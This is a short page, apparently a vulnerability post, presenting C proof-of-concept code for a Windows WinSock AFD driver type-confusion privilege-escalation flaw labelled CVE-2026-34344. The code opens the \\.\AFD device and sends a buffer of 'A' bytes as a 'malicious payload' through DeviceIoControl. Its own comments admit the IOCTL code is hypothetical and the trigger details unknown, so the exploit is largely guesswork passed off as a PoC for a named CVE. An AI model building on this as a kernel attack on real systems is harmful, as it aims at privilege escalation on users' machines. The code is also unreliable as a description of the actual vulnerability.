CVE-2026-34344 Windows WinSock驱动类型混淆提权漏洞

#include <windows.h> #include <stdio.h> // Conceptual Proof of Concept for CVE-2026-34344 // This code demonstrates the interaction with the driver to trigger the vulnerability. // Actual exploitation requires specific memory layout and heap manipulation. int main() { HANDLE hDevice; DWORD bytesReturned; // Attempt to open the vulnerable AFD device hDevice = CreateFileA("\\\\.\\AFD", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); if (hDevice == INVALID_HANDLE_VALUE) { printf("[-] Failed to open device. Error: %d\n", GetLastError()); return 1; } printf("[+] Device opened successfully. Handle: 0x%p\n", hDevice); // Prepare input buffer to trigger type confusion // The specific size and content depend on the vulnerability details BYTE inputBuffer[0x100]; memset(inputBuffer, 0x41, sizeof(inputBuffer)); // Filling with 'A' // Hypothetical IOCTL code that triggers the vulnerable path DWORD ioctlCode = 0x000120C3; printf("[*] Sending malicious payload to trigger type confusion...\n"); BOOL result = DeviceIoControl( hDevice, ioctlCode, inputBuffer, sizeof(inputBuffer), NULL, // Output buffer 0, &bytesReturned, NULL ); if (!result) { printf("[-] DeviceIoControl failed. Error: %d\n", GetLastError()); } else { printf("[+] IOCTL returned successfully. Check kernel behavior.\n"); } CloseHandle(hDevice); return 0; }